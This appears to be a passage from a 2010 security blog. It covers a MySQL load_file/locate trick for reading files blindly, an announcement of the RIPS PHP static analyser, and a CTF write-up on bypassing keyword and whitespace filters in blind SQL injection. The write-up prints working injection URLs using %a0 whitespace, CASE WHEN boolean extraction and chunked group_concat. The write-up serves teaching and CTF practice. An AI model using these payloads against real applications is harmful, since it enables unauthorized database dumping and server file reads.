After the 10th shot I luckily hit the DocumentRoot setting comment at offset 7467 and after this it was possible to calculate the correct offset for the beginning of the DocumentRoot setting and I could retrieve “srvhttpdhtdocs” (DocumentRoot: /srv/httpd/htdocs/).

While that worked fine during the hectics of the CTF and was better than a bruteforce on the whole configuration file, I thought about it again yesterday and thought that this technique was plain stupid ;).

If you know what you are looking for in a file (and mostly you do) you can easily find the correct offset with LOCATE(substr,str[,pos]) which will return the offset of a given substring found in a string. The following query instantly returns the next 10 characters after the DocumentRoot setting:

substr(load_file('file'),locate('DocumentRoot',(load_file('file')))+length('DocumentRoot'),10)

and can then be bruteforced easily:

mid(lower(substr(load_file('file'),locate('DocumentRoot',(load_file('file')))+length('DocumentRoot'),10)),$k,1)=0x$char

No magic here, but a helpful combination of mysql build in functions when reading files blindly.


RIPS – A static source code analyser for vulnerabilities in PHP scripts

June 11, 2010

In the last years I have been working on my PHP Scanner (now called RIPS) which has been released recently during the Month Of PHP Security and was awarded as the 2nd best external submission.
RIPS is a tool written in PHP itself and designed to easily detect, review and exploit PHP vulnerabilities by static source code and taint analysis. It is open source and freely available at SourceForge (yey!).

Before using it I recommend reading the paper (HTML, PDF) I submitted to be aware of the limitations RIPS has, either due to static source code analysis or because of my implementation of it.
In short: RIPS is not ready yet for firing it on big code trees like wordpress, but I think it does a good job for home-made or smaller open source apps and in assisting code reviews. I hope I will find time in the future to improve RIPS and I am honestly thankful for any feedback, bugreports, code improvements or feature requests.

[download RIPS]

Update 04.07.10: A new version 0.31 has been released.
Update 13.08.10: A new version 0.32 has been released.
Update 11.09.10: A new version 0.33 has been released.


Exploiting hard filtered SQL Injections 3

May 26, 2010

This is a follow-up post of the first edition of Exploiting hard filtered SQL Injections and at the same time a writeup for Campus Party CTF web4. In this post we will have a closer look at group_concat() again.

Last month I was invited to Madrid to participate at the Campus Party CTF organized by SecurityByDefault. Of course I was mainly interested in the web application challenges, but there was also reverse engineering, cryptography and network challenges. For each of the categories there was 4 difficulty levels. The hardest webapp challenge was a blind SQLi with some filtering. Techniques described in my last blogposts did not helped me so I had to look for new techniques and I promised to do a little writeup on this.
The challenge was a news site with a obvious SQLi in the news id GET parameter. For different id’s specified by the user one could see different news articles while a SQL error resulted in no article being displayed. The filter was like the “basic keyword filter” I already introduced here with additional filtering for SQL comments:

if(preg_match('/\s/', $id))
	exit('attack'); // no whitespaces
if(preg_match('/[\'"]/', $id))
	exit('attack'); // no quotes
if(preg_match('/[\/\\\\]/', $id))
	exit('attack'); // no slashes
if(preg_match('/(and|null|where|limit)/i', $id))
	exit('attack'); // no sqli keywords
if(preg_match('/(--|#|\/\*)/', $id))
	exit('attack'); // no sqli comments

The first attempt was to create a working UNION SELECT with %a0 as a whitespace alternative which is not covered by the whitespace regex but works on MySQL as a whitespace.

?id=1%a0union%a0select%a01,2,group_concat(table_name),4,5,6%a0from%a0information_schema.tables;%00

However no UNION SELECT worked, I had no FILE PRIV and guessing the table and column names was too difficult in the short time because they were in spanish and with different upper and lower case letters. So I decided to go the old way with parenthesis and a CASE WHEN:

?id=(case(substr((select(group_concat(table_name))from(information_schema.tables)),1,1))when(0x61)then(1)else(2)end)

The news article with id=1 is shown when the first letter of all concated table names is ‘a’, otherwise news article with id=2 is shown.

As stated in my last post the output of group_concat() is limited to 1024 characters by default. This is sufficient to retrieve all table names because all default table names concated have a small length and there is enough space left for custom tables.
However the length of all standard columns is a couple of thousands characters long and therefore reading all column names with group_concat() is not easily possible because it will only return the first 1024 characters of concated standard columns of the database mysql and information_schema *.
Usually, the goal is to SELECT column names only from a specific table to make the result length smaller than 1024 characters. In case WHERE and LIMIT is filtered I presented a “WHERE alternative” in the first part:

?id=(0)union(select(table_name),column_name,(0)from(information_schema.columns)having((table_name)like(0x7573657273)))#

Here I co-SELECTed the column table_name to use it in the HAVING clause (otherwise the error Unknown column ‘table_name’ in ‘having clause’ would occur). In a subSELECT you cannot select from more than one column and this is where I struggled during the challenge. The easiest way would have been to use GROUP BY with %a0 as delimiter:

?id=(case(substr((select(group_concat(column_name))from(information_schema.columns)group%a0by(table_name)having(table_name)=0x41646D696E6973747261646F726553),1,1))when(0x61)then(1)else(2)end)

But what I tried to do is to find a way around the limiting 1024 character of group_concat(). Lets assume the keywords “group” and “having” are filtered also πŸ˜‰ First I checked the total amount of all columns:

?id=if((select(count(*))from(information_schema.columns))=187,1,2)

Compared to newer MySQL versions the amount of 187 was relatively small (my local MySQL 5.1.36 has 507 columns by default, it was MySQL 5.0).
Now the idea was to only concatenate the first few characters of each column_name to fit all beginnings of all column_names into 1024 characters. Then it would be possible to read the first characters of the last columns (this is where the columns of user-created tables appear). After this the next block of characters can be extracted for each column_name and so on until the whole name is reconstructed.
So the next step was to calculate the maximum amount of characters I could read from each column_name without exceeding the maximum length of 1024:

5 characters * 187 column_names = 935 characters

Well thats not correct yet, because we have to add the commas group_concat() adds between each column. That is additional 186 characters which exceeds the maximum length of 1024. So we take only 4 characters per column_name:

4 characters * 187 column_name + 186 commas = 934 characters

The injection looked like this:

?id=(case(substr((select(group_concat(substr(column_name,1,4)))from(information_schema.columns)),1,1))when(0x61)then(1)else(2)end)

To avoid finding the right offset where the user tables starts I began to extract column name by column name from the end, until I identified columns of the default mysql database (a local mysql setup helps a lot).

I think the following graphic helps to get a better idea of what I did.
The first SELECT shows a usual group_concat() on all column names (red blocks with different length) that misses the columns from user-created tables that appear at the end of the block list.
The second query concatenates only the first 4 characters (blue) of every name to make the resultset fit into the 1024 character limit. In the same way the next block of 4 characters can be SELECTed (third query).

Each string of concatenated substrings can be read char by char to reconstruct the column names (last query).

It gets a bit tricky when the offsets change while reading the second or third block of 4 characters and you need to keep attention to not mix up the substrings while putting them back together for every column name. A little PHP script automated the process and saved some time. Although this approach was way to complicated to solve this challenge, I learned a lot πŸ˜‰
In the end I ranked 2nd in the competition. I would like to thank again SecurityByDefault for the fun and challenging contest, especially Miguel for the SQLi challenges and give kudos to knx (1st), aw3a (3rd) and LarsH (the only one solving the tough reversing challenges).

By the way the regex filters presented in the last posts are not only for fun and challenges: I have seen widely used community software using (bypassable) filters like these.

* Note that the exact concated length and amount of columns and tables depends on your MySQL version. Generally the higher your version is, the more column names are available and the longer is the concated string. You can use the following queries to check it out yourself:

select sum(length(table_name)) from information_schema.tables where table_schema = 'information_schema' or table_schema='mysql'
select sum(length(column_name)) from information_schema.columns where table_schema = 'information_schema' or table_schema='mysql'

More:
Part 1, Part2, SQLi filter evasion cheatsheet